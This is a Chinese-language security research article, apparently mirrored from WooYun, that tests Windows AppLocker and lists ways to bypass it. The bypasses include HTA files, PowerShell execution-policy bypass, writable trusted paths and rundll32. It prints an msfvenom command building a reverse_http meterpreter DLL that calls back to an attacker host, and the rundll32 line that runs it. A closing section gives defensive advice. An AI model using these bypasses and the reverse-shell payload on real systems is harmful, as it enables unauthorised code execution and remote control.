Bypass Windows AppLocker

wyzsk發表於2020-08-19
作者: 三好學生 · 2016/01/18 10:31

0x00 前言


Alt text

上一次我們對McAfee Application Control做了測試,這次接著對另一款白名單工具Windows AppLocker進行測試,分享一下其中的攻防技術。

0x01 簡介


Windows AppLocker,即“應用程式控制策略”,可用來對可執行程式、安裝程式和指令碼進行控制,之前只能支援windows7 Enterprise、windows7 Ultimate和WindowsServer2008 R2,但是微軟在2012年10月18日將其更新,已支援Windows8.1,Windows Server2012 R2,WindowsServer2012和Windows8 Enterprise

如圖

Alt text

AppLocker可對以下檔案格式建立規則,限制其執行

Alt text

下面我們就實際測試一下相關功能

0x02 配置


測試環境:

#!bash
OS:Windows7 Ultimate x86

1、開啟服務

進入計算機管理-服務-Application Identity,將服務設定為開啟

如圖

Alt text

2、進入AppLocker配置介面

輸入secpol.msc進入本地安全策略-應用程式控制策略-AppLocker

或者gpedit.msc-計算機配置-Windows設定-安全設定-應用程式控制策略-AppLocker

如圖

Alt text

3、配置規則

對可執行檔案設定預設規則:

  • 允許本地管理員組的成員執行所有應用程式。
  • 允許 Everyone 組的成員執行位於 Windows 資料夾中的應用程式。
  • 允許 Everyone 組的成員執行位於 Program Files 資料夾中的應用程式。

如圖

Alt text

對指令碼設定預設規則:

  • 允許本地管理員組的成員執行所有指令碼。
  • 允許 Everyone 組的成員執行位於 Program Files 資料夾中的指令碼。
  • 允許 Everyone 組的成員執行位於 Windows 資料夾中的指令碼。

如圖

Alt text

開啟預設規則後,除了預設路徑可以執行外,其他路徑均無法執行程式和指令碼

0x03 測試


1、執行exe

Alt text

2、執行指令碼

Alt text

Alt text

0x04 安全機制分析


透過測試發現設定的規則已經生效,能夠阻止信任路徑外的exe和指令碼執行,但是對以下方面沒有做限制:

  1. 記憶體
  2. Office 宏
  3. HTML Applications,即hta檔案
  4. powershell

而我們已經掌握的繞過技術有:

  1. 利用hta檔案
  2. 利用jscript
  3. 利用powershell
  4. 利用InstallUtil
  5. 利用regsvcs

再加上新學來的技巧,我們最終發現瞭如下可供利用的方法:)

0x05 繞過方法


1、hta

成功

(可參照/tips/?id=10667

可用來執行vbs和JavaScript指令碼

2、提權

提權到管理員許可權,即可執行突破AppLocker的限制,執行exe和指令碼

3、powershell

(1)可以執行ps指令碼

#!bash
PowerShell.exe -ExecutionPolicy Bypass -File 

(2)可以透過如下方式執行ps指令碼

#!bash
Get-Content script.txt | iex

(3)可以利用快捷方式執行Powershell

成功

(可參照/tips/?id=10667

4、程式注入

既然可以執行powershell指令碼,那麼就可以反彈出meterpreter

然後嘗試程式注入

(可參照/tips/?id=11305

如果注入到普通許可權程式,無法執行exe和指令碼

如果是system許可權程式,可以執行exe和指令碼

5、查詢可利用的檔案路徑

透過ps指令碼掃描可寫入的路徑

下載地址:http://go.mssec.se/AppLockerBC

(如果無法下載,我已將該指令碼上傳至Github)

測試如圖

Alt text

Alt text

Alt text

執行後會自動掃描出可利用的路徑

比如選擇路徑:c:\Windows\Tasks

正常執行calc.js會被攔截

但是copy calc.js c:\Windows\Tasks

再執行c:\Windows\Tasks\calc.js,可以繞過攔截

如圖

Alt text

6、rundll32

(1)執行JavaScript

a、直接彈回一個Http shell

(可參照/tips/?id=11764

但無法繞過對執行exe和指令碼的攔截

b、利用JavaScript執行powershell命令返回HTTP shell

Alt text

(2)載入第三方dll

a、自己編寫的dll

參考資料:
http://blog.didierstevens.com/2010/02/04/cmd-dll/

按照dll的格式,自己編寫並生成dll上傳

執行

#!bash
rundll32.exe cmd.dll,Control_RunDLL

彈出一個cmd

如圖

Alt text

b、反彈meterpreter

kali下:

#!bash
msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll

生成a.dll,然後上傳至測試主機

執行

#!bash
rundll32.exe a.dll,Control_RunDLL

即可上線

如圖

Alt text

Alt text

7、利用InstallUtil

利用InstallUtil.exe直接執行shellcode 成功

如果有Microsoft .NET Framework 4.0環境,可用來執行exe

(可參照/tips/?id=8701,/tips/?id=8862

8、利用regsvcs

成功

(可參照/tips/?id=10667

0x06 防禦


  1. 嚴格控制檔案寫入許可權
  2. 禁用mshta.exe阻止hta的執行
  3. 禁用powershell
  4. 防止被提權

0x07 小結


隨著研究的逐漸深入,我們不難發現:利用InstallUtil、regsvcs是繞過白名單限制的一把利器,無論是攻擊還是防禦,對此部分都要尤其重視。

而利用rundll32.exe的技巧,正在慢慢被髮掘。

0x08 參考資料:


相關檔案下載地址:

https://github.com/3gstudent/Bypass-Windows-AppLocker

本文由三好學生原創並首發於烏雲drops,轉載請註明

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章